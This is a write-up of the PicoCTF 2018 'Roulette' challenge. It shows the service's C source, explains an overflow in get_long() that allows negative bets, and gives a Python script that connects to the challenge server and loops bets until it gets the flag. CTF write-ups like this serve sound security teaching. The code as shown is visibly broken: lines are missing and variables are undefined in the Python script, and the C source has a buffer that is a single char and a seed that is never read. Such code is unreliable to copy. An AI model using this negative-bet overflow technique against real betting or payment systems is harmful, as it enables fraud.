## [PicoCTF 2018] - misc - Roulette

This is one of my writeups for PicoCTF 2018

## Problem

This Online Roulette Service is in Beta. Can you find a way to win \$1,000,000,000 and get the flag? Connect with `nc 2018shell3.picoctf.com 21444`

Hint :

1. There are 2 bugs!

## Solution

We are given the source code for the service we have to exploit :

```#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <limits.h>

#define MAX_NUM_LEN 12
#define HOTSTREAK 3
#define MAX_WINS 16
#define ONE_BILLION 1000000000
#define ROULETTE_SIZE 36
#define ROULETTE_SPINS 128
#define ROULETTE_SLOWS 16
#define NUM_WIN_MSGS 10
#define NUM_LOSE_MSGS 5

long cash = 0;
long wins = 0;

int is_digit(char c) {
return '0' <= c && c <= '9';
}

long get_long() {
printf("> ");
uint64_t l = 0;
char c = 0;
while(!is_digit(c))
c = getchar();
while(is_digit(c)) {
if(l >= LONG_MAX) {
l = LONG_MAX;
break;
}
l *= 10;
l += c - '0';
c = getchar();
}
while(c != '\n')
c = getchar();
return l;
}

long get_rand() {
long seed;
FILE *f = fopen("/dev/urandom", "r");
fclose(f);
seed = seed % 5000;
if (seed < 0) seed = seed * -1;
srand(seed);
return seed;
}

long get_bet() {
while(1) {
puts("How much will you wager?");
printf("Current Balance: \$%lu \t Current Wins: %lu\n", cash, wins);
long bet = get_long();
if(bet <= cash) {
return bet;
} else {
puts("You can't bet more than you have!");
}
}
}

long get_choice() {
while (1) {
printf("Choose a number (1-%d)\n", ROULETTE_SIZE);
long choice = get_long();
if (1 <= choice && choice <= ROULETTE_SIZE) {
return choice;
} else {
}
}
}

int print_flag() {
char flag;
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Failed to open the flag file\n");
return -1;
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}

const char *win_msgs[NUM_WIN_MSGS] = {
"Wow.. Nice One!",
"You chose correct!",
"Winner!",
"Wow, you won!",
"Alright, now you're cooking!",
"Darn.. Here you go",
"Darn, you got it right.",
"You.. win.. this round...",
"Congrats!",
"You're not cheating are you?",
};

const char *lose_msgs1[NUM_LOSE_MSGS] = {
"WRONG",
"Nice try..",
"YOU LOSE",
"Not this time..",
"Better luck next time..."
};

const char *lose_msgs2[NUM_LOSE_MSGS] = {
"Just give up!",
"It's over for you.",
"You're never gonna win",
"If you keep it up, maybe you'll get the flag in 100000000000 years"
};

void spin_roulette(long spin) {
int n;
puts("");
printf("Roulette  :  ");
int i, j;
int s = 12500;
for (i = 0; i < ROULETTE_SPINS; i++) {
n = printf("%d", (i%ROULETTE_SIZE)+1);
usleep(s);
for (j = 0; j < n; j++) {
printf("\b \b");
}
}
for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) {
n = printf("%d", (i%ROULETTE_SIZE)+1);
if (((i%ROULETTE_SIZE)+1) == spin) {
for (j = 0; j < n; j++) {
printf("\b \b");
}
break;
}
usleep(s);
for (j = 0; j < n; j++) {
printf("\b \b");
}
}
for (int k = 0; k < ROULETTE_SIZE; k++) {
n = printf("%d", ((i+k)%ROULETTE_SIZE)+1);
s = 1.1*s;
usleep(s);
for (j = 0; j < n; j++) {
printf("\b \b");
}
}
printf("%ld", spin);
usleep(s);
puts("");
puts("");
}

void play_roulette(long choice, long bet) {

printf("Spinning the Roulette for a chance to win \$%lu!\n", 2*bet);
long spin = (rand() % ROULETTE_SIZE)+1;

spin_roulette(spin);

if (spin == choice) {
cash += 2*bet;
puts(win_msgs[rand()%NUM_WIN_MSGS]);
wins += 1;
}
else {
puts(lose_msgs1[rand()%NUM_LOSE_MSGS]);
puts(lose_msgs2[rand()%NUM_LOSE_MSGS]);
}
puts("");
}

int main(int argc, char *argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);

cash = get_rand();

puts("Welcome to ONLINE ROULETTE!");
printf("Here, have \$%ld to start on the house! You'll lose it all anyways >:)\n", cash);
puts("");

long bet;
long choice;
while(cash > 0) {
bet = get_bet();
cash -= bet;
choice = get_choice();
puts("");

play_roulette(choice, bet);

if (wins >= MAX_WINS) {
printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins);
printf("Congrats you made \$%lu. See you next time!\n", cash);
exit(-1);
}

if(cash > ONE_BILLION) {
printf("*** Current Balance: \$%lu ***\n", cash);
if (wins >= HOTSTREAK) {
puts("Wow, I can't believe you did it.. You deserve this flag!");
print_flag();
exit(0);
}
else {
puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");
exit(-1);
}
}
}
puts("Haha, lost all the money I gave you already? See ya later!");
return 0;
}
```

Scanning through the source code, we can see the following interesting blocks :

```if(cash > ONE_BILLION) {
printf("*** Current Balance: \$%lu ***\n", cash);
if (wins >= HOTSTREAK) {
puts("Wow, I can't believe you did it.. You deserve this flag!");
print_flag();
exit(0);
}
else {
puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");
exit(-1);
}
}
}
```

This shows that we don't only need to win a billion but also to score at least 3 wins (the value of `HOTSTREAK`).

```long get_long() {
printf("> ");
uint64_t l = 0;
char c = 0;
while(!is_digit(c))
c = getchar();
while(is_digit(c)) {
if(l >= LONG_MAX) {
l = LONG_MAX;
break;
}
l *= 10;
l += c - '0';
c = getchar();
}
while(c != '\n')
c = getchar();
return l;
}
```

That's where the first bug is : the code checks if the value being constructed is superior to `LONG_MAX`, which would flip the sign on the value and allow us to get a negative value. But the check is done before adding the digit being scanned, meaning that the last digit won't be considered.

Since this function is called when choosing the betting amount, we can bet a negative amount and win that amount instead of losing it when the bet is lost.

There's a second bug, but I didn't find it. So I had a way to get the billion needed, but couldn't force the three wins. Sometimes, an inelegant approach just does the work too ... So first I wrote the following script :

```import socket

class Player:

plus_1_dollar = 4294967295

def __init__(self, host, port):
self.host = host
self.port = port
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))
# these variables will store the state :
self.balance = None
self.wins = None

def parse_info(self, datastring):
for line in datastring.split('\n'):
if line.startswith('Current Balance'):
# extract the state (balance and number of flags) from output :
self.balance = int(line[line.find('\$')+1:line.find(' \t')])
self.wins = int(line[-1])
if 'picoCTF' in line:
# Print the flag and exit if it is present
self.flag = line
print(line)
exit(line)

databuf = []
while 1:
data = self.s.recv(1024)
databuf.append(data)
if echo:
print('... '+data.decode('ascii'))
if not len(data) or b'>' in data:
break
datastring = (''.join(d.decode('ascii') for d in databuf))
return datastring

def _send(self, value, nl='\n'):
self.s.sendall((str(value) +nl).encode('ascii'))

def bet_7(self, wager, echo=False):
"""
Bets the given wager on 7 - lucky number !
"""
self._send(str(wager))

try:
self.parse_info(r)
except BrokenPipeError:
print(r)
exit(1)
self._send('7')

def recharge(self):
self.bet_7(self.plus_1_dollar - 20000)

def try_to_win(self, echo=False):
self.bet_7(1)

def __call__(self, *args, **kwargs):
while True:
self.parse_info(r)
# print the current state :
print(f'balance:{self.balance}')
print(f'wins:{self.wins}')
print(f'flag:{self.flag}')
if self.balance < 10000:
# give ourselves some credit if we're running out of dollars
self.recharge()
elif self.wins < 3:
self.try_to_win()
else:
# 3000000000 will allow us to win a billion
self.bet_7(3000000000, echo=True)

if __name__ == '__main__':
while True:
try:
player = Player('2018shell3.picoctf.com', 26662)
player()
except Exception:
# Reconnect on failure
pass
```

It connects to the server and places bets based on the current state of the game :

• If the balance is less than 10000\$, it places a bet with a negative value that credits us with 20000\$
• If we have less than 3 wins, it places 1\$ bets until we reach the required 3 wins
• If we have three wins, it places a bet with a negative value that credits us a billion.

I then split my terminal in 25 panes and ran the script in all of them until the relatively unlikely 3 wins happened, triggering the 1 billion win and printing the flag.

If it's stupid and it works ...

Note : If you're interested in the proper solution, RoeeSefi publised a writeup that has it.